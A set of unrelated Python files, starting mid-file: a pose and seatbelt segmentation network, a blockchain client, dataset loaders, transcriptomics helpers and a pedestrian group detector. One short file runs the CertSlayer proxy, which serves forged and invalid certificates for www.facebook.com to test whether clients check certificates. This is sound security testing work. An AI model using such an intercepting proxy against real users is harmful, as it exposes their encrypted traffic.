            nn.Conv2d(256, 128, kernel_size=3, stride=1, padding=1),
            nn.ReLU(inplace=True),
            nn.Conv2d(128, 128, kernel_size=3, stride=1, padding=1),
            nn.ReLU(inplace=True)
        )

    def forward(self, P2, P3, P4, P5):
        D5 = F.interpolate(self.convs_on_P5(P5), scale_factor=8, mode='bilinear')
        D4 = F.interpolate(self.convs_on_P4(P4), scale_factor=4, mode='bilinear')
        D3 = F.interpolate(self.convs_on_P3(P3), scale_factor=2, mode='bilinear')
        D2 = self.convs_on_P2(P2)

        feature_maps = torch.cat((D2, D3, D4, D5), dim=1)

        segmentation = F.interpolate(self.conv_on_feature_maps(feature_maps), scale_factor=2, mode='bilinear')
        segmentation = self.final_conv1(segmentation)
        segmentation = F.interpolate(segmentation, scale_factor=2, mode='bilinear')
        segmentation = self.final_conv2(segmentation)
        segmentation = (F.tanh(segmentation) + 1)/2

        return segmentation

class NADS_Net(torch.nn.Module):
    def __init__(self, include_seatbelt_branch, using_Aisin_output_format, include_background_output):
        super(NADS_Net, self).__init__()

        self.include_seatbelt_branch = include_seatbelt_branch

        if using_Aisin_output_format:
            if include_background_output:
                num_keypoints_output_layers = 10
            else:
                num_keypoints_output_layers = 9

            num_PAF_output_layers = 16
        else:
            num_keypoints_output_layers = 19
            num_PAF_output_layers = 38

        self.FPN = FPN()
        self.PVT = pvt_tiny()
        self.keypoint_heatmap_branch = Map_Branch(num_keypoints_output_layers)
        self.PAF_branch = Map_Branch(num_PAF_output_layers)

        if include_seatbelt_branch:
            self.seatbelt_segmentation_branch = Segmentation_Branch()

        def init_weights(m):
            if type(m) == nn.Conv2d:
                torch.nn.init.normal_(m.weight, mean=0, std=0.01)
                m.bias.data.fill_(0.0)

        self.FPN.apply(init_weights)
        self.keypoint_heatmap_branch.apply(init_weights)
        self.PAF_branch.apply(init_weights)

        if include_seatbelt_branch:
            self.seatbelt_segmentation_branch.apply(init_weights)

    def forward(self, x):
        C2, C3, C4, C5 = self.PVT(x)
        P2, P3, P4, P5 = self.FPN(C2, C3, C4, C5)

        keypoint_heatmaps = self.keypoint_heatmap_branch(P2, P3, P4, P5)
        PAFs = self.PAF_branch(P2, P3, P4, P5)

        if self.include_seatbelt_branch:
            seatbelt_segmentation = self.seatbelt_segmentation_branch(P2, P3, P4, P5)
            return keypoint_heatmaps, PAFs, seatbelt_segmentation
        else:
            return keypoint_heatmaps, PAFs


import os

from CertSlayer.TestController import TestController
from CertSlayer.TestSuite import *
from CertSlayer.ProxyServer import ProxyServer, ProxyHandlerCertificateTest
from CertSlayer.Configuration import Configuration

class TestCertSlayer(object):

    def __init__(self):
        self.cleanup()

    @staticmethod
    def cleanup():
        temp_cert_dir = os.path.abspath(Configuration().get_temp_certificate_folder())
        for _ in os.listdir(temp_cert_dir):
            os.remove(os.path.join(temp_cert_dir, _))

    def main(self):
        Configuration().fake_server_address = ("127.0.0.1", 0)
        Configuration().testcase_list = [CertificateInvalidCASignature,
                                         CertificateUnknownCA,
                                         CertificateSignedWithCA,
                                         CertificateSelfSigned,
                                         CertificateWrongCN,
                                         CertificateSignWithMD5,
                                         CertificateSignWithMD4,
                                         CertificateExpired,
                                         CertificateNotYetValid
                                         ]
        TestController.set_monitored_domains(["www.facebook.com"])
        proxy = ProxyServer(proxy_handler=ProxyHandlerCertificateTest)
        proxy.start()

if __name__ == "__main__":
    certslayer = TestCertSlayer()
    certslayer.main()


import json
from requests import get, post

def getBlockchain(URL, PORT):
    op = "blocks"
    target = URL + ":" + str(PORT) + '/' + op

    res = get(target)
    return res

def addNewBlock(URL, PORT, req=""):
    op = "mineBlock"
    target = URL + ":" + str(PORT) + '/' + op

    headers = {'Content-type': 'application/json'}
    data = {"data": req}
    res = post(target, data=json.dumps(data), headers=headers)

    return res

def getPeers(URL, PORT):
    op = "peers"
    target = URL + ":" + str(PORT) + '/' + op

    res = get(target)
    return res

def addPeer(URL, PORT, req=None):
    op = "addPeer"
    target = URL + ":" + str(PORT) + '/' + op

    headers = {'Content-type': 'application/json'}
    data = {"peer": req}
    res = post(target, data=json.dumps(data), headers=headers)
    return res

def stopNode(URL, PORT):
    op = "stop"
    target = URL + ":" + str(PORT) + '/' + op

    res = post(target)
    return res


import os.path
from .lightDPR7_dataset import lightDPR7Dataset

class light3DULABDataset(lightDPR7Dataset):
    '''
    A dataloader to work with the 3DU face relight dataset
    '''

    def __init__(self, opt):
        super(light3DULABDataset,self).__init__(opt)
        self.use_large_real_set = os.path.exists(os.path.join(self.opt.dataroot, 'real_im', "{:06d}".format(0) + '.png'))
        if self.opt.load_realD2 is not None:
            self.use_large_real_set2 = os.path.exists(os.path.join(self.opt.load_realD2, "{:06d}".format(0) + '.png'))

    def _get_item_path(self, path, fname_pattern):
        dir, fname = path.rsplit('/',1)
        id = fname.split('_')[-1][:-4]
        path = os.path.join(dir, fname_pattern % id)
        return path

    def _get_paths(self, real_img_id, input_img_id, real_img_id2):
        AB_path = self.list_AB[input_img_id]
        source_path = AB_path[0]
        target_path = AB_path[1]

        src_light_path = self._get_item_path(source_path, 'light_%s_sh.txt')
        tgt_light_path = self._get_item_path(target_path, 'light_%s_sh.txt')

        if self.use_large_real_set:
            real_img_path = os.path.join(self.opt.dataroot,'real_im',"{:06d}".format(real_img_id)+'.png')
        else:
            real_img_path = os.path.join(self.opt.dataroot, 'real_im', "{:05d}".format(real_img_id) + '.png')

        if real_img_id2 is not None:
            if self.use_large_real_set2:
                real_img_path2 = os.path.join(self.opt.load_realD2, "{:06d}".format(real_img_id2) + '.png')
            else:
                real_img_path2 = os.path.join(self.opt.load_realD2, "{:05d}".format(real_img_id2) + '.png')

        orig_img_path = os.path.join(target_path.rsplit('/',1)[0], 'orig.png')
        segment_img_path = os.path.join(self.opt.dataroot,'segments',source_path.split('/')[-2],AB_path[0].split('/')[-2]+'.png')
        if real_img_id2 is not None:
            return real_img_path, orig_img_path, source_path, target_path, segment_img_path, src_light_path, tgt_light_path, real_img_path2
        else:
            return real_img_path, orig_img_path, source_path, target_path, segment_img_path, src_light_path, tgt_light_path

    def name(self):
        return 'light3DULABDataset'


import numpy as np
import scipy
import ot

def filter_for_common_genes(slices):
    """
    param: slices - list of slices (AnnData objects)
    """
    assert len(slices) > 0, "Cannot have empty list."

    common_genes = slices[0].var.index
    for s in slices:
        common_genes = intersect(common_genes, s.var.index)
    for i in range(len(slices)):
        slices[i] = slices[i][:, common_genes]
    print('Filtered all slices for common genes. There are ' + str(len(common_genes)) + ' common genes.')

def kl_divergence(X, Y):
    """
    Returns pairwise KL divergence (over all pairs of samples) of two matrices X and Y.

    param: X - np array with dim (n_samples by n_features)
    param: Y - np array with dim (m_samples by n_features)

    return: D - np array with dim (n_samples by m_samples). Pairwise KL divergence matrix.
    """
    assert X.shape[1] == Y.shape[1], "X and Y do not have the same number of features."

    X = X/X.sum(axis=1, keepdims=True)
    Y = Y/Y.sum(axis=1, keepdims=True)
    log_X = np.log(X)
    log_Y = np.log(Y)
    X_log_X = np.matrix([np.dot(X[i],log_X[i].T) for i in range(X.shape[0])])
    D = X_log_X.T - np.dot(X,log_Y.T)
    return np.asarray(D)

def intersect(lst1, lst2):
    """
    param: lst1 - list
    param: lst2 - list

    return: list of common elements
    """

    temp = set(lst2)
    lst3 = [value for value in lst1 if value in temp]
    return lst3

def norm_and_center_coordinates(X):
    """
    param: X - numpy array

    return:
    """
    return (X-X.mean(axis=0))/min(scipy.spatial.distance.pdist(X))

def match_spots_using_spatial_heuristic(X,Y,use_ot=True):
    """
    param: X - numpy array
    param: Y - numpy array

    return: pi- mapping of spots using spatial heuristic
    """
    n1,n2=len(X),len(Y)
    X,Y = norm_and_center_coordinates(X),norm_and_center_coordinates(Y)
    dist = scipy.spatial.distance_matrix(X,Y)
    if use_ot:
        pi = ot.emd(np.ones(n1)/n1, np.ones(n2)/n2, dist)
    else:
        row_ind, col_ind = scipy.sparse.csgraph.min_weight_full_bipartite_matching(scipy.sparse.csr_matrix(dist))
        pi = np.zeros((n1,n2))
        pi[row_ind, col_ind] = 1/max(n1,n2)
        if n1<n2: pi[:, [(j not in col_ind) for j in range(n2)]] = 1/(n1*n2)
        elif n2<n1: pi[[(i not in row_ind) for i in range(n1)], :] = 1/(n1*n2)
    return pi

## Covert a sparse matrix into a dense matrix
to_dense_array = lambda X: np.array(X.todense()) if isinstance(X,scipy.sparse.csr.spmatrix) else X

## Returns the data matrix or representation
extract_data_matrix = lambda adata,rep: adata.X if rep is None else adata.obsm[rep]


#!/usr/bin/env python3

import os
import sys

def csv_to_json(txtdata):
    newdata = {}
    lines = txtdata.split('\n')
    lines = [x.strip() for x in lines if x.strip()]
    headers = lines[0].split(',')
    headers = [x.strip() for x in headers]
    rows = lines[1:]
    rows = [x.strip() for x in rows]
    for row in rows:
        columns = row.split(',')
        index_key = None
        for idx,x in enumerate(columns):
            subkey = headers[idx]
            if idx == 0:
                if x not in newdata:
                    newdata[x] = {}
                index_key = x
                continue
            try:
                val = int(float(x))
            except ValueError:
                val = 0
                #import epdb; epdb.st()
            if val == 0:
                val = None
            newdata[index_key][subkey] = val

    return newdata

def main():
    fn = '~/.stats/cache/ansible/module_stats.csv'
    fn = os.path.expanduser(fn)

    with open(fn, 'r') as f:
        fdata = f.read()

    print(csv_to_json(fdata))
    #import epdb; epdb.st()

if __name__ == "__main__":
    main()


import os, sys, math, time
from collections import deque
from multiprocessing import Lock
import numpy, scipy, scipy.spatial.distance, scipy.misc, scipy.cluster.hierarchy
import pandas
import argparse

# Main callback when new social relations and person tracks are available
def detectGroups(trackedPersons, socialRelations, timestamp):
    # Collect track positions in matrix (rows = tracks, cols = x and y coordinates)
    #trackCount = len(trackedPersons.pedID.unique())
    trackCount = len(trackedPersons)

    # Create a lookup from arbitrary track IDs to zero-based track indices in distances matrix
    trackIndex = 0
    trackIdToIndex = dict()
    for _, trackedPerson in trackedPersons.iterrows():
        trackIdToIndex[trackedPerson.pedID] = trackIndex
        trackIndex += 1

    # Build full (symmetric) distances matrix from provided person relations. Diagonal is initialized with zeroes.
    socialRelationsMatrix = numpy.ones( (trackCount, trackCount) )
    for _, socialRelation in socialRelations.iterrows():
        try:
            index1 = trackIdToIndex[socialRelation.trackID1]
            index2 = trackIdToIndex[socialRelation.trackID2]
        except KeyError:
            print("Key error while looking up tracks %d and %d!" % (socialRelation.trackID1, socialRelation.trackID2) )
            continue

        # Using min() here in case there are multiple types of relations per track pair -- in that case, use strongest type of relation
        socialRelationsMatrix[index1, index2] = min(socialRelationsMatrix[index1, index2], 1.0 - socialRelation.strength) # strong relation --> small distance
        socialRelationsMatrix[index2, index1] = min(socialRelationsMatrix[index2, index1], 1.0 - socialRelation.strength)

    for i in range(0, trackCount):
        socialRelationsMatrix[i,i] = 0.0 # diagonal elements have to be zero

    # Convert into condensed form
    trackDistances = scipy.spatial.distance.squareform(socialRelationsMatrix, force='tovector')

    # Cluster
    relationThreshold = 0.75 # relation strength above which we consider tracks to be in a group
    groupIndices = cluster(trackCount, trackDistances, relationThreshold) # outputs one group index per track

    #import pdb; pdb.set_trace()
    # Create groups, by assembling one set of track IDs per group
    groups = createGroups(groupIndices, trackedPersons)

    # Associate newly created groups with groups from previous cycle for ID consistency, and generate TrackedGroup instances
    trackedGroups = trackGroups(groups, trackedPersons, timestamp)
    return trackedGroups

### Creates group indices by single-linkage clustering
def cluster(trackCount, trackDistances, threshold):
    # Safety check if there are less than 2 tracks, otherwise clustering fails
    if trackCount == 0:
        return []
    elif trackCount == 1:
        return [0]

    # Perform clustering
    linkage = scipy.cluster.hierarchy.linkage(trackDistances, method='single')
    groupIndices = scipy.cluster.hierarchy.fcluster(linkage, threshold, 'distance')
    return groupIndices

# Generates a set of track IDs per group
def createGroups(groupIndices, tracks):
    groups = dict()
    trackIndex = 0
    for groupIndex in groupIndices:
        if not groupIndex in groups:
            groups[groupIndex] = []

        trackId = tracks.iloc[trackIndex].pedID
        groups[groupIndex].append(trackId)
        trackIndex += 1
    return groups

# For remembering recent group ID assignments for a given set of track IDs
class GroupIdAssignment(object):
    def __init__(self, trackIds, groupId, createdAt):
        self.trackIds = set(trackIds)
        self.groupId = groupId
        self.createdAt = createdAt

    def __str__(self):
        return "%s = %d" % (str(list(self.trackIds)), self.groupId)

# For publishing consecutive group IDs, even if internally they are not consecutive
class GroupIdRemapping(object):
    def __init__(self, groupId, publishedGroupId):
        self.originalGroupId = groupId
        self.publishedGroupId = publishedGroupId

def remapGroupId(groupId):
    publishedGroupId = None
    for groupIdRemapping in trackGroups.groupIdRemapping:
        if groupIdRemapping.originalGroupId == groupId:
            publishedGroupId = groupIdRemapping.publishedGroupId
            break
    if publishedGroupId is None:
        trackGroups.largestPublishedGroupId += 1
        publishedGroupId = trackGroups.largestPublishedGroupId

    trackGroups.groupIdRemapping.append( GroupIdRemapping(groupId, publishedGroupId) )
    return publishedGroupId

class BoundingBox():
    def __init__(self, x, y, height, width):
        self.x = x
        self.y = y
        self.height = height
        self.width = width

class TrackedGroup():
    def __init__(self, groupID, pedIDs, x, y):
        self.groupID = groupID
        self.pedIDs = pedIDs
        self.x = x
        self.y = y
        self.bbox = None

    def __str__(self):
        out = [str(self.groupID), str(self.x), str(self.y)]
        return ",".join(out)

class GroupCentroid():
    def __init__(self, pos=0, groupId=0, size=0):
        self.pos = pos
        self.groupId = groupId
        self.size = size

### Calculates group centroids for the current groups
def calculateGroupCentroids(groups, trackedPersons):
    # Get track positions
    trackPositionsById = dict()
    for track in trackedPersons.tracks:
        pos = track.pose.pose.position
        trackPositionsById[track.track_id] = [ pos.x, pos.y ]

    # Determine centroids
    centroids = dict()
    for groupId, track_ids in groups.iteritems():
        positions = numpy.zeros( (len(track_ids), 2) )
        trackIndex = 0
        for track_id in track_ids:
            positions[trackIndex, :] = trackPositionsById[track_id]
            trackIndex += 1

        currentCentroid = GroupCentroid()
        currentCentroid.pos = numpy.mean(positions, 0)
        currentCentroid.groupId = groupId
        currentCentroid.size = len(track_ids)
        centroids[groupId] = currentCentroid
    return centroids

# Associates current groups with previously tracked groups via track IDs
def trackGroups(groups, trackedPersons, timestamp):
    # Initialize variables
    publishSinglePersonGroups = False   # add to parameters of this script
    trackedGroups = []
    assignedGroupIds = []

    # Sort groups by smallest track ID per group to ensure reproducible group ID assignments
    #sortedGroups = sorted(groups.iteritems(), key=lambda (clusterId, track_ids) : sorted(track_ids)[0])
    #import pdb; pdb.set_trace()
    sortedGroups = sorted(groups.items(), key=lambda group : sorted(group[1])[0])

    # Used to calculate group centroids
    trackPositionsById = dict()
    for _, trackedPerson in trackedPersons.iterrows():
        trackPositionsById[trackedPerson.pedID] = numpy.array([ trackedPerson.x, trackedPerson.y ])

    # Create a TrackedGroup for each group, and assign a unique ID
    for clusterId, track_ids in sortedGroups:
        # Check if we encountered this combination of track IDs, or a superset thereof, before
        bestGroupIdAssignment = None

        trackIdSet = set(track_ids)
        for groupIdAssignment in trackGroups.groupIdAssignmentMemory:
            if groupIdAssignment.trackIds.issuperset(trackIdSet) or groupIdAssignment.trackIds.issubset(trackIdSet):
                trackCount = len(groupIdAssignment.trackIds)
                bestTrackCount = None if bestGroupIdAssignment is None else len(bestGroupIdAssignment.trackIds)

                if bestGroupIdAssignment is None or trackCount > bestTrackCount or (trackCount == bestTrackCount and groupIdAssignment.createdAt < bestGroupIdAssignment.createdAt):
                    if groupIdAssignment.groupId not in assignedGroupIds:
                        bestGroupIdAssignment = groupIdAssignment

        groupId = None
        if bestGroupIdAssignment is not None:
            groupId = bestGroupIdAssignment.groupId

        if groupId == None or groupId in assignedGroupIds:
            groupId = trackGroups.largestGroupId + 1 # just generate a new ID

        # Remember that this group ID has been used in this cycle
        assignedGroupIds.append(groupId)

        # Remember which group ID we assigned to this combination of track IDs
        groupIdAssignmentsToRemove = []
        groupExistsSince = timestamp
        for groupIdAssignment in trackGroups.groupIdAssignmentMemory:
            if set(track_ids) == groupIdAssignment.trackIds:
                groupExistsSince = min(groupIdAssignment.createdAt, groupExistsSince)
                groupIdAssignmentsToRemove.append(groupIdAssignment)  # remove any old entries with same track IDs

        for groupIdAssignment in groupIdAssignmentsToRemove:
            trackGroups.groupIdAssignmentMemory.remove(groupIdAssignment)

        trackGroups.groupIdAssignmentMemory.append( GroupIdAssignment(track_ids, groupId, groupExistsSince) )

        # Remember largest group ID used so far
        if(groupId > trackGroups.largestGroupId):
            trackGroups.largestGroupId = groupId

        # Do not publish single-person groups if not desired
        if publishSinglePersonGroups or len(track_ids) > 1:
            accumulatedPosition = numpy.array([0.0, 0.0])
            activeTrackCount = 0
            for track_id in track_ids:
                if track_id in trackPositionsById:
                    accumulatedPosition += trackPositionsById[track_id]
                    activeTrackCount += 1

            trackedGroup = TrackedGroup(groupID=remapGroupId(groupId),
                                        pedIDs=track_ids,
                                        x=accumulatedPosition[0] / float(activeTrackCount),
                                        y=accumulatedPosition[1] / float(activeTrackCount))
            trackedGroups.append(trackedGroup)

    # Return currently tracked groups
    return trackedGroups

def calcBoundingBoxes(trackedGroups, trackedPersons):
    #import pdb; pdb.set_trace()
    for group in trackedGroups:
        xs = []
        ys = []
        for ped in group.pedIDs:
            currPed = trackedPersons.loc[trackedPersons.pedID == ped]
            x = currPed.iloc[0].x
            y = currPed.iloc[0].y
            w = currPed.iloc[0].w
            h = currPed.iloc[0].h

            xs.extend([x, x+w])
            ys.extend([y, y+h])

        X = min(xs)
        Y = min(ys)
        height = max(ys) - min(ys)
        width = max(xs) - min(xs)
        group.bbox = BoundingBox(round(X,3), round(Y,3), round(height,3), round(width,3))

def parseArguments():
    parser = argparse.ArgumentParser()
    parser.add_argument("--input_file")
    parser.add_argument("--social_relations")
    parser.add_argument("--output_file")

    return parser.parse_args()

### Main method
def main():
    args = parseArguments()

    df_social_relations = pandas.read_csv(args.social_relations)
    df_tracking = pandas.read_csv(args.input_file)

    #df_tracking = df_tracking.loc[((df_tracking.dataset == 'test') & (df_tracking.segment_num == 1))]
    #df_tracking = df_tracking.loc[(df_tracking.dataset == 'test')]

    header = "frameID,groupID,x,y,w,h"
    with open(args.output_file, "w") as file:
        file.write(header + "\n")

    header1 = "frameID, groupID, pedIDs"
    ped_outfile = "data/detected_groups_test2_pedIDs.csv"
    with open(ped_outfile, "w") as file:
        file.write(header1 + "\n")

    trackGroups.largestGroupId = -1
    trackGroups.groupIdAssignmentMemory = deque(maxlen=300)
    trackGroups.groupIdRemapping = deque(maxlen=50)
    trackGroups.largestPublishedGroupId = -1

    # detect groups frame by frame
    frames = df_tracking.frameID.unique()
    timestamp = 0
    '''
    n = 4
    for f in frames[::n]:
        f_end = f + n - 1
        trackedPersons = df_tracking.loc[((df_tracking.frameID >= f) & (df_tracking.frameID <= f_end))]
        socialRelations = df_social_relations.loc[((df_social_relations.frameID >= f) & (df_social_relations.frameID <= f_end))]
    '''
    for f in frames:
        trackedPersons = df_tracking.loc[(df_tracking.frameID == f)]
        socialRelations = df_social_relations.loc[(df_social_relations.frameID == f)]
        # get groups in frame
        groups = detectGroups(trackedPersons, socialRelations, timestamp)
        calcBoundingBoxes(groups, trackedPersons)

        # write groups to outfile
        with open(args.output_file, "a+") as file:
            for g in groups:
                out = ','.join([str(f),
                                str(g.groupID),
                                str(g.bbox.x),
                                str(g.bbox.y),
                                str(g.bbox.width),
                                str(g.bbox.height)])
                file.write(out + "\n")
        with open(ped_outfile, "a+") as file:
            for g in groups:
                pedIDs = ','.join([str(x) for x in g.pedIDs])
                out = ','.join([str(f),
                                str(g.groupID),
                                pedIDs])
                file.write(out + "\n")

        if f % 1000 == 0:
            from datetime import datetime
            now = datetime.now().time() # time object
            print(f,now)
        timestamp += 1

### Entry point
if __name__ == '__main__':
    main()